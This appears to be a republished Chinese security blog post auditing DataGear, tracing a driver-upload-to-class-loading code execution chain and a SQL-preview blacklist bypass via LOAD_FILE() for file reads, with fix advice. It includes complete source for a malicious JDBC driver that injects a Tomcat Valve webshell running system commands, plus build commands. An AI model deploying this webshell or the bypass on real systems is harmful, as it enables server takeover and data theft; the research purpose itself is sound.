文章总结: 文档分析DataGear源码发现两个安全风险点:一是通过driver上传功能结合测试连接接口可实现任意类加载,存在远程代码执行风险;二是SQL预览功能黑名单过滤不严,可通过LOAD_FILE()等函数绕过实现文件读取。作者指出漏洞利用需结合具体环境配置,并提供了详细代码调用链分析。 综合评分: 85 文章分类: 漏洞分析,代码审计,WEB安全,安全开发,渗透测试
我翻DataGear源码时,顺手摸到这两条危险的链
原创
一寸灰 一寸灰
东方隐侠安全团队
2026年4月19日 08:30 江苏
在小说阅读器读本章
去阅读
最近翻DataGear源码,顺手摸到两个挺有意思的点。
一个在driver上传这条线,文件传上去以后,再借“测试连接”一路往下走,最后能碰到Class.forName(…)这种类加载边界。
另一个在SQL预览这条线,它想用关键字黑名单拦危险能力,但边界写法本身就有缺口,像LOAD_FILE()这种函数名就能从里面钻过去,最后把风险落到文件读取。另外还看到一个SSRF,不过那条我先放着,后面如果值得单拎,再单独写。
项目是https://gitcode.com/datageartech/datagear
文中这两条链能不能在真实环境里完全成立,也要看版本、权限模型、部署方式、数据库能力和目标配置。我这里只记源码里已经能顺下来的部分。
- 从driver上传走到类加载
第一条链的起点在上传驱动文件的接口。
上传接口这里没什么花活。driverEntity已经存在,就把上传的jar包写到对应目录里;不存在,就先按id建目录,再把文件落进去。至少从这段代码看,上传内容本身没看到像样的校验。
public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id,
@RequestParam("file") MultipartFile multipartFile) throws Exception
{
FileInfo[] fileInfos;
List<String> driverClassNames = new ArrayList<>();
String originalFilename = multipartFile.getOriginalFilename();
DriverEntity driverEntity = this.driverEntityManager.get(id);
if (driverEntity != null)
{
InputStream in = multipartFile.getInputStream();
try
{
this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);
}
finally
{
IOUtil.close(in);
}
List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity);
fileInfos = toFileInfos(driverLibraryInfos);
}
else
{
File directory = getTempDriverLibraryDirectoryNotNull(id);
File tempFile = getTempDriverLibraryFile(directory, originalFilename);
multipartFile.transferTo(tempFile);
resolveDriverClassNames(tempFile, driverClassNames);
fileInfos = FileUtil.getFileInfos(directory);
}
Map<String, Object> map = new HashMap<>();
map.put("fileInfos", fileInfos);
map.put("driverClassNames", driverClassNames);
return map;
}
单有上传点还不够,真正要命的是后面会不会把这个jar真的加载进去。
往下跟,很快就能看到DtbsSourceController.testConnection这条线。这个接口最后会去做数据库连接测试,而这条“测试连接”能力,恰好把前面上传进去的驱动包和后面的类加载串到了一起。
public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id,
@RequestParam("file") MultipartFile multipartFile) throws Exception
{
FileInfo[] fileInfos;
List<String> driverClassNames = new ArrayList<>();
String originalFilename = multipartFile.getOriginalFilename();
DriverEntity driverEntity = this.driverEntityManager.get(id);
if (driverEntity != null)
{
InputStream in = multipartFile.getInputStream();
try
{
this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);
}
finally
{
IOUtil.close(in);
}
List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity);
fileInfos = toFileInfos(driverLibraryInfos);
}
else
{
File directory = getTempDriverLibraryDirectoryNotNull(id);
File tempFile = getTempDriverLibraryFile(directory, originalFilename);
multipartFile.transferTo(tempFile);
resolveDriverClassNames(tempFile, driverClassNames);
fileInfos = FileUtil.getFileInfos(directory);
}
Map<String, Object> map = new HashMap<>();
map.put("fileInfos", fileInfos);
map.put("driverClassNames", driverClassNames);
return map;
}
接下来,entity会一路进入
AbstractDtbsSourceConnController.getDtbsSourceConnection
protected Connection getDtbsSourceConnection(DtbsSource dtbsSource) throws ConnectionSourceException
{
return this.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource, dtbsSource);
}
再往下到DtbsSourceConnectionSupport.getDtbsSourceConnection,只要driverEntity不为空,就会走connectionSource.getConnection(driverEntity, connectionOption)这条分支。
public Connection getDtbsSourceConnection(ConnectionSource connectionSource, DtbsSource dtbsSource)
throws ConnectionSourceException
{
Connection cn = null;
Properties properties = new Properties();
if(dtbsSource.hasProperty())
{
List<DtbsSourceProperty> dtbsSourceProperties = dtbsSource.getProperties();
for(DtbsSourceProperty sp : dtbsSourceProperties)
{
String name = sp.getName();
String value = sp.getValue();
if(!StringUtil.isEmpty(name))
properties.put(name, (value == null ? "" : value));
}
}
String schemaName = dtbsSource.getSchemaName();
boolean emptySchemaName = StringUtil.isEmpty(schemaName);
// 必须添加此连接属性,不然会获取到其他数据库模式的连接
if (!emptySchemaName)
{
properties.put(INTERNAL_SCHEMA_PROPERTY_NAME, schemaName);
}
ConnectionOption connectionOption = ConnectionOption.valueOf(dtbsSource.getUrl(), dtbsSource.getUser(),
dtbsSource.getPassword(), properties);
if (dtbsSource.hasDriverEntity())
{
DriverEntity driverEntity = dtbsSource.getDriverEntity();
cn = connectionSource.getConnection(driverEntity, connectionOption);//如果driverEntity不为空,则调用。
}
else
{
cn = connectionSource.getConnection(connectionOption);
}
if (!emptySchemaName)
{
try
{
cn.setSchema(dtbsSource.getSchemaName());
}
catch (SQLException e)
{
thrownew DataSourceException(e);
}
}
return cn;
}
再往下,进入DefaultConnectionSource.getConnection,这里会进一步调用getDriver。
public Connection getConnection(DriverEntity driverEntity, ConnectionOption connectionOption)
throws ConnectionSourceException
{
Driver driver = this.driverEntityManager.getDriver(driverEntity);
if (!acceptsURL(driver, connectionOption.getUrl()))
throw new URLNotAcceptedException(driverEntity, connectionOption.getUrl());
return getConnection(driver, connectionOption);
}
接着进入AbstractFileDriverEntityManager.getDriver,从driverEntity.getDriverClassName()里取出驱动类名,传给PathDriverFactory.getDriver(driverClassName)。
public synchronized Driver getDriver(DriverEntity driverEntity) throws DriverEntityManagerException
{
PathDriverFactoryInfo pdfi = getLatestPathDriverFactoryInfoNonNull(driverEntity);
return pdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());
}
再往下,真正落点就在PathDriverFactory.getDriver。
public synchronized Driver getDriver(String driverClassName) throws PathDriverFactoryException
{
try
{
Class.forName(driverClassName, true, this.pathClassLoader);
}
catch (ClassNotFoundException e)
{
thrownew DriverNotFoundException(this.path.getPath(), driverClassName, e);
}
catch (ClassFormatError e)
{
thrownew DriverClassFormatErrorException(e);
}
catch (Throwable t)
{
thrownew PathDriverFactoryException(t);
}
try
{
Driver driver = (Driver) this.driverTool.getClass().getMethod("getDriver", String.class)
.invoke(this.driverTool, driverClassName);
if (driver == null)
thrownew PathDriverFactoryException(
"No Driver named [" + driverClassName + "] found in [" + this.path + "]");
if (LOGGER.isDebugEnabled())
LOGGER.debug("Get JDBC driver [" + driverClassName + "] in path [" + this.path + "]");
return driver;
}
catch (IllegalArgumentException e)
{
thrownew PathDriverFactoryException(e);
}
catch (SecurityException e)
{
thrownew PathDriverFactoryException(e);
}
catch (IllegalAccessException e)
{
thrownew PathDriverFactoryException(e);
}
catch (InvocationTargetException e)
{
thrownew PathDriverFactoryException(e);
}
catch (NoSuchMethodException e)
{
thrownew PathDriverFactoryException(e);
}
}
链走到这里,其实已经闭上了:
- 上传jar。
- 让系统把这个jar放进会被driver逻辑使用的路径。
- 通过driverClassName指向jar里的恶意类。
- 在testConnection这类看起来只是“辅助测试”的功能里,最终走到Class.forName(…, this.pathClassLoader)。
所以真正危险的,不是后台里多了个上传点,而是系统后面真的会用自己的类加载器去把它吃进去。
这条链没必要硬扣成“未授权RCE”。至少从控制器逻辑看,testConnection还挂着当前用户上下文和权限校验。更接近实际情况的表述是:
如果攻击者能进入对应后台能力边界,并控制上传的jar与驱动类名,这条链最终就可以把风险推到应用类加载和代码执行层。
利用思路
利用方式也不绕。写一个恶意Driver,在类加载时通过静态代码块完成恶意逻辑注册,再把它伪装成正常JDBC Driver。
原始笔记里给的示例,是一个Agent内存马思路,打成jar后上传,再借Class.forName触发加载。
为了完整保留原始技术链,下面把原始evil/EvilDriver.java一并保留。
源码(evil/EvilDriver.java)
package evil;
import java.io.*;
import java.lang.reflect.*;
import java.sql.*;
import java.util.*;
import java.util.logging.Logger;
publicclass EvilDriver implements Driver {
static {
try {
// Step 1: 获取 Tomcat StandardContext
Object contextObj = getStandardContext();
if (contextObj != null) {
// Step 2: 注入 Valve 内存马
injectValve(contextObj);
}
// Step 3: 注册为合法 JDBC Driver(避免报错)
DriverManager.registerDriver(new EvilDriver());
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 通过反射链获取 Tomcat StandardContext
*
* 反射链路:
* Thread.currentThread().getContextClassLoader()
* -> WebappClassLoaderBase
* -> .resources (StandardRoot)
* -> .getContext() -> StandardContext
*/
privatestaticObject getStandardContext() throws Exception {
// Method 1: WebappClassLoader -> resources -> context
try {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Field resourcesField = null;
Class<?> c = cl.getClass();
while (c != null) {
try {
resourcesField = c.getDeclaredField("resources");
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (resourcesField != null) {
resourcesField.setAccessible(true);
Object resources = resourcesField.get(cl);
Method getContext = resources.getClass().getMethod("getContext");
return getContext.invoke(resources);
}
} catch (Exception e) {}
// Method 2: Spring RequestContextHolder -> Request -> ServletContext
try {
Class<?> rch = Class.forName(
"org.springframework.web.context.request.RequestContextHolder");
Method getAttr = rch.getMethod("getRequestAttributes");
Object attrs = getAttr.invoke(null);
if (attrs != null) {
Method getRequest = attrs.getClass().getMethod("getRequest");
Object request = getRequest.invoke(attrs);
Method getSC = request.getClass().getMethod("getServletContext");
Object servletContext = getSC.invoke(request);
// ApplicationContextFacade -> ApplicationContext -> StandardContext
Field appCtxField = servletContext.getClass()
.getDeclaredField("context");
appCtxField.setAccessible(true);
Object appCtx = appCtxField.get(servletContext);
Field stdCtxField = appCtx.getClass()
.getDeclaredField("context");
stdCtxField.setAccessible(true);
return stdCtxField.get(appCtx);
}
} catch (Exception e) {}
returnnull;
}
/**
* 注入 Tomcat Valve 内存马
*
* Valve 在 Tomcat Pipeline 的最底层执行,
* 拦截所有经过该 Context 的 HTTP 请求。
*
* 注入链路:
* StandardContext.getPipeline() -> StandardPipeline
* -> addValve(恶意 Valve)
* -> 恶意 Valve 检查请求参数
* -> 有 magic 参数 → 执行命令返回结果
* -> 无 magic 参数 → 传递给下一个 Valve(正常处理)
*/
privatestaticvoid injectValve(Object standardContext) throws Exception {
Method getPipeline = standardContext.getClass().getMethod("getPipeline");
Object pipeline = getPipeline.invoke(standardContext);
ClassLoader tcl = standardContext.getClass().getClassLoader();
Class<?> valveClass = tcl.loadClass("org.apache.catalina.Valve");
// 使用动态代理创建 Valve 实例
Object valve = Proxy.newProxyInstance(
tcl,
new Class<?>[]{valveClass},
new InvocationHandler() {
privateObject next = null;
@Override
publicObject invoke(Object proxy, Method method, Object[] args)
throws Throwable {
String methodName = method.getName();
// 拦截 invoke(Request, Response) 调用
if ("invoke".equals(methodName)
&& args != null && args.length == 2) {
Object request = args[0];
Object response = args[1];
try {
Method getParam = request.getClass()
.getMethod("getParameter", String.class);
// 检查 magic 参数
String cmd = (String) getParam
.invoke(request, "datagear");
if (cmd != null && !cmd.isEmpty()) {
// 执行系统命令
String os = System.getProperty("os.name")
.toLowerCase();
String[] cmds;
if (os.contains("win")) {
cmds = newString[]{
"cmd.exe", "/c", cmd};
} else {
cmds = newString[]{
"/bin/bash", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(cmds);
InputStream is = p.getInputStream();
ByteArrayOutputStream baos =
new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
baos.write(buf, 0, len);
}
p.waitFor();
// 写入响应
Method getWriter = response.getClass()
.getMethod("getWriter");
Object writer = getWriter.invoke(response);
Method write = writer.getClass()
.getMethod("write", String.class);
write.invoke(writer,
newString(baos.toByteArray()));
Method flush = writer.getClass()
.getMethod("flush");
flush.invoke(writer);
returnnull; // 不继续传递请求
}
} catch (Exception e) {}
// 无 magic 参数 → 正常传递给下一个 Valve
if (next != null) {
Method invokeNext = next.getClass().getMethod(
"invoke",
request.getClass().getInterfaces()[0],
response.getClass().getInterfaces()[0]);
invokeNext.invoke(next, request, response);
}
returnnull;
}
// Valve 接口的其他方法
if ("getNext".equals(methodName)) return next;
if ("setNext".equals(methodName)) {
next = args[0]; returnnull;
}
if ("backgroundProcess".equals(methodName)) returnnull;
if ("isAsyncSupported".equals(methodName)) returntrue;
if ("getContainer".equals(methodName))
return standardContext;
if ("setContainer".equals(methodName)) returnnull;
returnnull;
}
}
);
// 注入到 Pipeline
Method addValve = pipeline.getClass()
.getMethod("addValve", valveClass);
addValve.invoke(pipeline, valve);
}
// --- JDBC Driver 接口空实现 ---
public Connection connect(String url, Properties info) { returnnull; }
publicboolean acceptsURL(String url) { returntrue; }
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {
returnnew DriverPropertyInfo[0];
}
public int getMajorVersion() { return1; }
public int getMinorVersion() { return0; }
publicboolean jdbcCompliant() { returnfalse; }
public Logger getParentLogger() { returnnull; }
}
编译打包
javac -encoding UTF-8 -source 8 -target 8 -d . EvilDriver.java
jar cf evil-driver.jar evil/EvilDriver.class evil/EvilDriver$1.class
效果
说到底,这条链说明的是,后台里一个看起来“只是上传驱动、测试连接”的功能,最后直接碰到了运行时类加载边界。
这事真正该盯的,不是某个内存马怎么写,而是这一点:
业务系统里所有“动态加载外部驱动/插件/库”的能力,都应该先被当成潜在执行面看。
这种功能如果非留不可,起码得补上这些控制:
-
只有高权限管理员能上传驱动,并且权限与普通数据源管理彻底隔离。
-
上传内容要做类型、签名、来源或白名单校验,不能“给个jar就吃”。
-
驱动目录和运行目录隔离,避免临时文件直接进入可加载路径。
-
测试连接功能不要在主应用上下文里直接完成任意类加载。
-
所有driver上传、driver变更、testConnection调用都应该有明确审计日志。
很多后台系统的坑,往往都是存在于这种“只是想多兼容几种数据库”的设计里。
- SQL语句黑名单绕过,最后落到任意文件读取
第二个点我觉得更有代表性,因为它不是某个冷门调用链的问题,而是很典型的“黑名单思维”翻车。
在/dataSet/preview/SQL这条接口里,可以执行SQL预览逻辑。
@RequestMapping(value = "/preview/" + DataSetEntity.DATA_SET_TYPE_SQL, produces = CONTENT_TYPE_JSON)
@ResponseBody
public TemplateResolvedDataSetResult previewSql(HttpServletRequest request, HttpServletResponse response,
Model springModel, @RequestBody SqlDataSetPreview preview) throws Throwable
{
User user = getCurrentUser();
SqlDataSetEntity entity = preview.getDataSet();
if(isEmpty(entity))
thrownew IllegalInputException();
inflateSaveEntity(request, entity);
trimSqlDataSetEntity(entity);
// 添加时
if (StringUtil.isEmpty(entity.getId()))
{
inflateSaveAddBaseInfo(request, user, entity);
checkSaveSqlDataSetEntity(request, user, entity, null);
}
// 查看时
elseif (preview.isView())
{
entity = (SqlDataSetEntity) getByIdForView(getDataSetEntityService(), user, entity.getId());
}
// 编辑时
else
{
String id = entity.getId();
checkSaveSqlDataSetEntity(request, user, entity,
new OnceSupplier<>(() ->
{
return (SqlDataSetEntity) getByIdForEdit(getDataSetEntityService(), user, id);
}));
}
DtbsSourceConnectionFactory connFactory = entity.getDtbsCnFty();
DtbsSource dtbsSource = (connFactory == null ? null : connFactory.getDtbsSource());
String dtbsSourceId = (dtbsSource == null ? null : dtbsSource.getId());
if (StringUtil.isEmpty(dtbsSourceId))
thrownew IllegalInputException();
dtbsSource = getDtbsSourceNotNull(dtbsSourceId);
DtbsSourceConnectionFactory connectionFactory = new DtbsSourceConnectionFactory(getConnectionSource(),
dtbsSource);
entity.setConnectionFactory(connectionFactory);
entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity));
DataSetQuery query = convertDataSetQuery(request, response, preview.getQuery(), entity);
return doPreviewSql(entity, query);
问题不在它有没有校验,而在这套校验本身就站不住。原始笔记里有一句话,基本把这个问题说透了。
最核心的正则,生成的正则为([^\\w]|^)(LOAD)([^\\w]|$),要求关键字前后不能是_或字母数字。这导致LOAD_FILE()中LOAD后紧跟_而绕过检测。同理EXEC()也可绕过EXECUTE的拦截。
对应到源码,就是这一段。
public static Pattern toKeywordPattern(String... keywords)
{
StringBuilder sb = new StringBuilder();
sb.append("([^\\_\\w]|^)");
sb.append("(");
for (int i = 0; i < keywords.length; i++)
{
if (i > 0)
sb.append('|');
sb.append("(" + Pattern.quote(keywords[i]) + ")");
}
sb.append(")");
sb.append("([^\\_\\w]|$)");
return compileToSqlValidatorPattern(sb.toString());
}
这套正则想拦的,是一个前后都不是下划线、字母、数字的独立关键字。
如果关键字是LOAD,那它最终想拦的是一个独立出现的LOAD。但像LOADFILE()这样的函数名里,LOAD后面紧跟的是下划线,而下划线被这套边界规则当成“单词内部字符”,于是正则就不会命中。
结果很简单:独立的LOAD被拦了,LOAD_FILE()放过去了。
这种黑名单最大的问题就在这儿。它不是在理解SQL语义,只是在猜字符串边界。
原始笔记里还提到,类似思路也会影响EXEC/EXECUTE这类关键字判断。本质上都是一个问题。
你以为自己在拦危险能力,实际上你只是在拦某个单词长得像危险能力的写法。
利用方式
这条利用链本身也不复杂。如果后端数据库支持对应文件读取函数,数据库账号权限又没有收死,就可以直接做文件读取。原文里给的结果,就是读出来以后再做base64解码拿到明文。
不过这个地方也不能写飘。它不是“接口一开就能读任何文件”。能不能真正读到内容,至少看下面几个条件:
- 后端数据库类型是否支持对应文件读取能力。
- 当前数据库账号是否具备相应权限。
- 目标文件路径是否对数据库进程可读。
- 这条SQL预览能力是否对当前用户开放。
但从安全设计上说,这已经够说明问题了。
把SQL安全寄托在关键字黑名单上,本来就是不稳的。
结果截图
更糟的是,这类实现很容易给开发者造成错觉,觉得“系统已经做了SQL校验”,于是后面权限和隔离反而放松了。
真要收这类风险,做法其实就这么几条:
-
不要靠通用黑名单去赌所有数据库方言和函数组合。
-
针对具体数据库类型做能力级限制,而不是只拦字符串。
-
对预览SQL的账号做严格最小权限控制,默认不给文件读取、命令执行、外联等高危能力。
-
对数据集预览、查询测试这类接口单独做高风险审计。
-
能白名单就白名单,能解析AST或做结构化限制,就不要继续迷信字符串黑名单。
这类洞不花,但特别常见,而且很容易在真实系统里一放就是很多年。
- 两条链放在一起看
把两条链摆在一起,其实就剩两件事。
第一件事,是上传上去的东西最后进了类加载器。第二件事,是SQL这边把安全寄托在关键字黑名单上,结果边界一错,函数名直接穿过去。
这两个问题类型不一样,但都出在管理面功能上,而且都不是那种第一眼就会被当成高危入口的点。一个挂在“测试连接”上,一个挂在“SQL预览”上,看名字都很日常,真往下跟,碰到的却是类加载和文件读取这种边界。
所以我自己记这篇,不是为了记“某处能getshell、某处能读文件”这两个结果,而是记这两类入口:
-
一类是上传、插件、驱动、模板这种东西,最后会不会进解释器、类加载器或者执行链。
-
一类是校验看起来做了很多,实际只是字符串黑名单,稍微换个写法就能从边上绕过去。
- 修的时候先看什么
如果后面真要收这两个点,我会先往几个地方看。
先看driver这条线。上传上去的jar最后是不是直接进了可加载路径,driver上传和普通数据源管理是不是混在一套权限里,测试连接是不是就在主应用上下文里做类加载,这几个问题基本能把风险面勾出来。再往后就是日志,driver上传、driver变更、testConnection这些动作,如果连单独审计都没有,排查起来会很难受。
再看SQL预览这条线。现在是不是还在拿关键字黑名单硬拦,数据库类型有没有分开做能力限制,预览SQL用的账号是不是单独收过权限,文件读取、命令执行、外联这类能力是不是默认就在,这几件事一翻,大概就知道问题是停在“写法不严”,还是已经碰到真正的危险能力了。
如果是正在用这类平台的团队,我觉得也别先急着上价值,先把几件实事过一遍:谁能上传driver,谁能测连接,谁能执行SQL预览,权限是不是全混着;日志里有没有driver目录变更、异常连接测试、可疑SQL预览;这类管理面功能是不是已经很久没人专门审过。很多时候问题不在系统“看起来危险”,而在这些地方根本没人翻。
- 先记到这里
这次先记两条。一条是driver上传最后接到了类加载。一条是SQL黑名单被函数名从边上绕过去,最后能落到文件读取。
SSRF那条我先没往下写,后面再跟。
作者:一寸灰
编者:千里
- 欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
- 如您有意加入我们新建设的安全私域圈子,可扫码加入,我会和我的智能体一起用心地经营这一方天地
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:东方隐侠安全团队 一寸灰 一寸灰《我翻DataGear源码时,顺手摸到这两条危险的链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论